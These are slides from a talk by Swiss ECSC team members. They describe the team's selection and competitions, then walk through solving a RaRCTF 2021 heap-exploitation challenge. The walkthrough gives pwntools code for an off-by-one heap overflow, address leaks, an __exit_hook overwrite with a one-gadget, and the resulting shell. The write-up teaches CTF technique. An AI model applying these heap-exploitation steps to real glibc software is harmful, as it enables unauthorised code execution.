


Climbing the Hacking /mnt/ain



By Anthony Schneider and Miro Haller

WHAT'S ECSC?




WHAT'S ECSC?

- ECSC: European Cyber Security Challenge
 - International competition with 20 countries
 - Promote young cyber security talents (≤ 25)
- SHC: Swiss Hacking Challenge
 - Organizes the selection of the Swiss team for ECSC



NATIONAL SELECTION + TRAINING



PHASE I: ONLINE QUALIFIER



21

challenges: web 🌐, crypto ♠️, reverse engineering 🔍, ...

200+


participants solved challenges

16

move on to phase 2



phase 2: team CTF



PHASE 2: TEAM CTF

- 4 teams with 4 people each
 - 1 month preparation time until the SHC Finals 2021
 - 1 CTF challenge per person
 - 1 easy, 2 medium, 1 hard per team
 - Different categories
- 16 CTF challenges @ SHC Finals 2021
- + 4 admin challenges!



SHC FINAL 2021



SHC FINAL 2021



SHC FINAL 2021

ECSC TEAM TRAINING

- Playing lots of CTF!

- CTFZone: Rank 11
- UIUCTF: Rank 5
- RaRCTF: Rank 6
- 📍 Really Awesome CTF 2021: Rank 2
- 📍 corCTF 2021: Rank 10
- FwordCTF 2021: Rank 10
- ALLES! CTF 2021: Rank 9
- CSAW CTF Qualification Round 2021: Rank 9



ECSC team training



Ranking (in less than 3 months ⚠️):



top 3




top 100 (place 86)



FUN + TEAM BUILDING




ECSC team training



ECSC PRAGUE 2021

- 19 countries participating
- 2 days CTF
- Connect and exchange with others



ECSC



SEPTEMBER



ECSC PRAGUE 2021



ECSC PRAGUE 2021

ECSC PRAGUE 2021




ECSC



SEPTEMBER

- Hard competition
 - 4th six hours before the end
 - 11th in the end



LETS HACK!





WHO AM I?

- Anthony Schneider / muffinx
- Participated 4 times @ European Cyber Security Challenge
- Trainer of Swiss National Hacking Team /mnt/ain
- Passionate CTF Player
- Cyber Security Researcher @ suid.ch
- Medical Computer Science / Bioinformatics Student

- Hire me!★



CHALLENGE: UNINTENDED

- Category: Pwn (Binary Exploitation)
- Files provided:
 - **unintended** (ELF x64 binary)
unintended: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter `./lib/ld-2.27.so`, for GNU/Linux 3.2.0, BuildID[sha1]=7bfb2bb322e2565ed3891924c6fd5daeca9bd5f1, not stripped
 - **lib/** folder with **ld-2.27.so** & **libc.so.6**
 - **ld-2.27.so**: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=977c39fe87abfa426d3043f6c8e21f7be3f0e876, stripped
 - **libc.so.6**: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter `/lib64/ld-linux-x86-64.so.2`, BuildID[sha1]=ce450eb01a5e5acc7ce7b8c2633b02cc1093339e, for GNU/Linux 3.2.0, not stripped
- **Target**  :
IP: 193.57.159.27
Port: 52018
- **Goal**  : Exploit vulnerability in binary on the remote host to get a shell, leak `flag.txt`

UNITENDED: BINARY

```
muffinx@muffinhouse:~/ctf/rar_ctf/pwn/unintended$ ./unintended
Welcome to the RaRCTF 2021 Admin Panel!
This totally has effect on the actual challenges!
1. Make Challenge
2. Patch Challenge
3. Deploy Challenge
4. Take Down Challenge
5. Do nothing
> 1
Challenge number: 1
Challenge category: Web
Challenge name: Test
Challenge description length: 5
Challenge description: test
Points: 1337
Created challenge!
```

QUICK ANALYSIS

- Binary Security Settings:

```
muffinx@muffinhouse:~/ctf/rar_ctf/pwn/unintended$ checksec unintended
[*] '/home/muffinx/ctf/rar_ctf/pwn/unintended/unintended'
  Arch:             amd64-64-little
  RELRO:             Partial RELRO
  Stack:             No canary found
  NX:                NX enabled
  PIE:               PIE enabled
  RUNPATH:           './lib'
```

- + We assume that ASLR is **activated** (as always)
- Quick Statical Analysis shows:
 - Application uses **Heap** for saving Data
 - Usage of **malloc()** and **free()**
 - = **Heap Exploitation Challenge**
- Our Goal:
 - Leak location of binary / libc
 - Overwrite some pointer to redirect execution
 - Redirect execution into /bin/sh one-gadget

EXPLOITATION ENVIRONMENT

- Statical Analysis:
 - Your favourite disassembler (IDA Pro? Ghidra? Radare2?)
 - Generate pseudocode <3

```
printf("Challenge number: ", v3);           // 4: Take down Challenge
v3 = &size + 4;
__isoc99_scanf("%d", &size + 4);
if ( HIDWORD(size) <= 9 && challenges[HIDWORD(size)] )
{
    free(*(challenges[HIDWORD(size)] + 4));
    free(challenges[HIDWORD(size)]);
    challenges[HIDWORD(size)] = 0LL;
    ctftime_rating -= 3;
}
else
{
    puts("Error: invalid index");
}
```

- Dynamic Analysis:

```
gef> heap bins
```

```
----- Tcachebins for thread 1 -----
Tcachebins[idx=0, size=0x20] count=1 ← Chunk(addr=0x5579e0239880, size=0x5050505050505050, flags=) ←
[Corrupted chunk at 0x5050505050505050]
----- Fastbins for arena 0x7f3ba4b0ec40 -----
```


- Using gef (plugin for gdb, for better heap exploitation)
- Scripting (Exploit Development):
 - python
 - pwntools
 - **`gdb.attach()`** for fast debugging (dynamic analysis)
 - Address packing & unpacking
 - ELF symbol resolving
 - Communication Wrappers like `process()`, `remote()` and `servertime()`
 - etc.

HEAP REFRESHER 1/2

- Heap?
 - Space in memory where we can dynamically request memory from
- malloc()
 - Function to allocate bytes, return address of heap memory
 - Example: malloc(1024) → Allocates 1024 bytes on the heap
- free()
 - Function to „free“ heap memory = Marking heap memory to be used again
 - char* test = malloc(1024);
 - free(test);

HEAP REFRESHER 2/2

- Important terminologies:
 - **main_arena** (malloc_state struct)
 - Data Structure which holds heap metadata
 - **bin(s)**
 - many different bins (depends on size of chunk):
 - fastbins
 - t-cache Bins
 - etc.
 - doubly linked list of freed-chunks



- **chunk**
 - memory heap space
 - different data structure when freed (fd & bk pointers)

EXPLOIT THE HEAP?

- „House“ - Techniques

- Example: „House of Rust“
- Highly version specific
- Esoteric techniques „micromanaging“ malloc() and free() to enable exploitation

- Exploit Data on the Heap

- Exploit Data on the Heap with: UAF (Use-After-Frees), Heap Overflows, Heap Spraying etc.
- High Value: Pointers!



This Talk!

MAKE CHALLENGE

- Menu: 1.) Make Challenge

malloc 60 bytes
at challenges

Read category (16 bytes)
Read name (16 bytes)
(2 strings)

Get description length
malloc(desc_len)
(1 pointer) ⚠️🤔

```
printf("Challenge number: ", v3);
v3 = &size + 4;
__isoc99_scanf("%d", &size + 4);
if ( HIDWORD(size) > 9 || challenges[HIDWORD(size)] )
{
    puts("Error: invalid index");
}
else
{
    next_challenge_index = HIDWORD(size); // 1: Make Challenge
    challenges[next_challenge_index] = malloc(60uLL);
    printf("Challenge category: ", &size + 4);
    read(0, challenges[HIDWORD(size)], 16uLL);
    printf("Challenge name: ");
    read(0, challenges[HIDWORD(size)] + 16, 16uLL);
    printf("Challenge description length: ");
    __isoc99_scanf("%d", &size);
    v6 = challenges[HIDWORD(size)];
    v6[4] = malloc(size);
    printf("Challenge description: ", &size);
    read(0, *(challenges[HIDWORD(size)] + 4), size);
    printf("Points: ");
    v3 = challenges[HIDWORD(size)] + 40;
    __isoc99_scanf("%d", v3);
    puts("Created challenge!");
}
```

CHALLENGES?

- challenges:
 - 10 x Q-Word (8 bytes)
 - In the BSS segment:

```
.bss:000000000000000040C9          align 20h
.bss:000000000000000040E0          public challenges
.bss:000000000000000040E0 ; void *challenges[10]
.bss:000000000000000040E0 challenges      dq 0Ah dup{?}
.bss:000000000000000040E0
.bss:000000000000000040E0 _bss          ends
.bss:000000000000000040E0
```


PATCH CHALLENGE

- Menu: 2.) Patch Challenge

Only challenge with category
„web“ can be patched
(CTF scene inside joke 😊)

Patching = Read in new description

Reduce CTFTIME Rating
(another CTF scene inside joke 😊)

```
printf("Challenge number: ", v3);    // 2: Patch Challenge
v3 = &size + 4;
__isoc99_scanf("%d", &size + 4);
if ( HIDWORD(size) <= 9 && challenges[HIDWORD(size)] )
{
    v3 = challenges[HIDWORD(size)];
    if ( !strcmp("web", v3, 3uLL) )
    {
        printf("New challenge description: ");
        v7 = strlen(*(challenges[HIDWORD(size)] + 4));
        v3 = *(challenges[HIDWORD(size)] + 4);
        read(0, v3, v7);
        puts("Patched challenge!");
        ctftime_rating -= 5;
    }
    else
    {
        puts("Challenge does not need patching, no unintended.");
    }
}
else
{
    puts("Error: invalid index");
}
```

CTFTIME RATING

- ctftime_rating:
 - On the data segment:

```
.data:00000000000000004080      public ctftime_rating
.data:00000000000000004080 ctftime_rating dd 25
.data:00000000000000004080
.data:00000000000000004080 _data      ends
```

- if ctftime_rating too low:
- exit application

```
if { ctftime_rating <= 0 }
{
    puts("Well... great.");
    exit(0);
}
```

DEPLOY CHALLENGE

- Menu: 3.) Deploy Challenge

Print challenge name and description

Interesting:
Can be maybe
used as an
information leak? 🤔

```
printf("Challenge number: ", v3);           // 3: Deploy Challenge
v3 = &size + 4;
__isoc99_scanf("%d", &size + 4);
if ( HIDWORD(size) <= 9 && challenges[HIDWORD(size)] )
{
    puts("Deploying...");
    printf("Category: %s\n", challenges[HIDWORD(size)]);
    printf("Name: %s\n", challenges[HIDWORD(size)] + 16);
    v3 = *(challenges[HIDWORD(size)] + 4);
    printf("Description: %s\n", v3);
}
else
{
    puts("Error: invalid index");
}
```

TAKE DOWN CHALLENGE

- Menu: 4.) Take down challenge

Free Challenge

```
printf("Challenge number: ", v3);           // 4: Take down Challenge
v3 = &size + 4;
__isoc99_scanf("%d", &size + 4);
if ( HIDWORD(size) <= 9 && challenges[HIDWORD(size)] )
{
    free(*(challenges[HIDWORD(size)] + 4));
    free(challenges[HIDWORD(size)]);
    challenges[HIDWORD(size)] = NULL;
    ctftime_rating -= 3;
}
else
{
    puts("Error: invalid index");
}
```

Reduce ctftime_rating

DO NOTHING

- Menu: 5.) Do nothing
 - It exits the program:

```
puts{"I guess we're done here."};  
exit{0};
```

WHAT'S OUR GOAL?

- Steps:
 - 1.) Leak libc address
 - 2.) Write an address to redirect execution
 - Candidates:
 - `__malloc_hook`: Executes when `malloc()` is called
 - `__free_hook`: Executes when `free()` is called
 - `__exit_hook`: Executes when `exit()` is called
 - 3.) Jump to a one-gadget
 - one-gadget: Place in libc to jump into which calls `system(„/bin/sh“)` for us
 - Alternative: Jump to shellcode (on heap):
NOT POSSIBLE: NX is **ON**

START SCRIPTING 1/2

- Create python (pwntools) wrapper functions:
 - Example: Make Challenge

```
def make_challenge(number, category, name, description_length, description, points):  
    send_choice(1)  
    r.recvuntil('Challenge number: ')  
    r.sendline(str(number))  
    r.recvuntil('Challenge category: ')  
    r.sendline(category)  
    r.recvuntil('Challenge name: ')  
    r.sendline(name)  
    r.recvuntil('Challenge description length: ')  
    r.sendline(str(description_length))  
    r.recvuntil('Challenge description: ')  
    r.send(description)  
    r.recvuntil('Points: ')  
    r.sendline(str(points))
```

START SCRIPTING 2/2

- Create Dynamic Analysis / Debugging Capabilities:
 - Example: `gdb.attach()`

GDB Commands



```
if DEBUG:
    gdb.attach(r, '''
set follow-fork-mode child

# first free
break *main+1339

# write points (challenges variable)
# break *main+620
# 0x5555555580e0 <challenges>

# write points
# break *main+650

# break exit
break *exit

c
''')
```


STEP 1: OFF-BY-ONE 1/3

- Menu: 2.) Patch Challenge reads 1 byte too much → Off-By-One Attack

1 byte
overflow

```
make_challenge(0, 'web', 'A'*15, 1040, 'B'*10, 1337)
make_challenge(1, 'web', 'C'*15, 24, 'D'*24, 1337)
make_challenge(2, 'web', 'E'*15, 24, 'F'*24, 1337)
make_challenge(3, 'web', 'G'*15, 24, 'H'*24, 1337)
make_challenge(4, 'web', 'I'*15, 24, 'J'*24, 1337)
make_challenge(5, 'web', 'K'*15, 24, 'L'*24, 1337)
make_challenge(6, 'web', 'M'*15, 24, 'N'*24, 1337)

# step 1: get main_arena on the heap
take_down_challenge(0)

# step 2: get main_arena on a nice position on the heap (with heap consolidation)
off_by_one = 'X' * 24
off_by_one += chr(0xA0)
patch_challenge(4, off_by_one)


take_down_challenge(5)
```

STEP 1: OFF-BY-ONE 2/3

- We have successfully overwritten prev_size & prev_inuse) of the next chunk!

prev_size &
prev_inuse

```
+0x0000: 0x0000000000a626577 ("web\n"?)  
+0x0008: 0x0000000000000000  
+0x0010: 0x4949494949494949  
+0x0018: 0x0a49494949494949  
+0x0020: 0x000055555555d820 → 0x5858585858585858  
+0x0028: 0x00000000000000539  
+0x0030: 0x0000000000000000  
+0x0038: 0x0000000000000021 ("!"?)  
+0x0040: 0x5858585858585858  
+0x0048: 0x5858585858585858  
+0x0050: 0x5858585858585858  
+0x0058: 0x00000000000000a0  
+0x0060: 0x0000000000a626577 ("web\n"?)  
+0x0068: 0x0000000000000000  
+0x0070: 0x4b4b4b4b4b4b4b4b  
+0x0078: 0x0a4b4b4b4b4b4b4b  
+0x0080: 0x000055555555d880 → "LLLLLLLLLLLLLLLLLLLLLLLLLA"  
+0x0088: 0x00000000000000539  
+0x0090: 0x0000000000000000  
+0x0098: 0x0000000000000021 ("!"?)
```



STEP I: OFF-BY-ONE 3/3

- Result:

- Heap Chunk Number 5 marks now that Heap Chunk Number 4 is:
 - (prev_inuse) in use = 0 (candidate for coalescing) ✨
 - (prev_size) size = 0xA0 = 160 bytes (bigger) ✨

- Effect:

- Heap Layout is different 😈
- Pointers spawn on Heap (+Move around Pointers) 😈
- Overwrite values 😈
- Possible UAF = Use After Free 😈
- etc.

STEP 2: LEAK HEAP ADDRESS

- Allocate another chunk!

```
# step 3: leak a heap address
overwrite_challenge = 'P' * 0x60
overwrite_challenge += 'A' * 32
make_challenge(7, 'web', '0'*15, 0x90, overwrite_challenge, 1337)

leak_heap_challenge = deploy_challenge(6)
leak_heap_addr = leak_heap_challenge['name']
leak_heap_addr = leak_heap_addr[16:][: -1]
leak_heap_addr += '\x00\x00'
leak_heap_addr = addr_unpacker(leak_heap_addr)
print 'leak_heap_addr @ ' + hex(leak_heap_addr)
```

- Now name of Chunk Number 6 is a heap address:

```
leak_heap_addr @ 0x55555555d8e0
```

STEP 3: LEAK SOME MORE!

- After Heap Consolidation we can now overwrite a challenge description pointer (Arbitrary Read) and leak values
 - 1.) To get main_arena:
 - $\text{main_arena_ptr_location} = \text{leak_heap_addr} - 0x640$
 - 2.) Leak Main Arena → Recieve Libc Addresses

```
leak_heap_addr @ 0x55555555d8e0
main_arena ptr in heap @ 0x55555555d2a0
main_arena @ 0x7ffff7dc40
libc_base @ 0x7ffff79e2000
_rtl_d_global @ 0x7ffff7ffd060
_dl_rtl_d_unlock_recursive @ 0x7ffff7ffdf68
one_gadget @ 0x7ffff7a31432
puts @ 0x7ffff7a62aa0
```


STEP 4: WRITE! 1/2

- After the Heap Coalescing: We can overwrite pointers with a Heap Overflow, lets over write another challenge's description pointer:

```
# step 6: place __exit_hook as ptr on heap
take_down_challenge(7)
pew1 = 'Z'*0x60
pew1 += 'web'
pew1 += 'Z'*29
pew1 += p64(_dl_rtdl_unlock_recursive)[:2]
make_challenge(7, 'web', '0'*15, 0x90, pew1, 1337)
```

- `_dl_rtdl_unlock_recursive` is `__exit_hook`

STEP 4: WRITE! 2/2

- Lets write to `__exit_hook` the address of the one-gadget:

```
# step 7: one_gadget in _dl_rtl_d_unlock_recursive  
pew2 = p64(one_gadget)  
patch_challenge(6, pew2)
```

- Run `exit()` → `/bin/bash` executed !!!

```
gef> c  
Continuing.  
process 24290 is executing new program: /bin/bash
```


EXPLOIT!

- Execute exploit targetting the remote host and get flag:

```
sh-4.4$ cat flag  
rarctf{y0u_b3tt3r_h4v3_us3d_th3_int3nd3d}  
sh-4.4$ █
```

- Challenge solved!



RESOURCES

- Images:
 - <https://ecsc2021.cz/?lang=en>, 25.07.2021
 - Official images from ECSC CZ, <https://ecsc2021.cz/photo-gallery/>
- Memes:
 - <https://imgflip.com/memegenerator/48003957/black-guy-question-mark>
 - <https://tenor.com/view/oh-really-hmph-surprised-gif-18286648>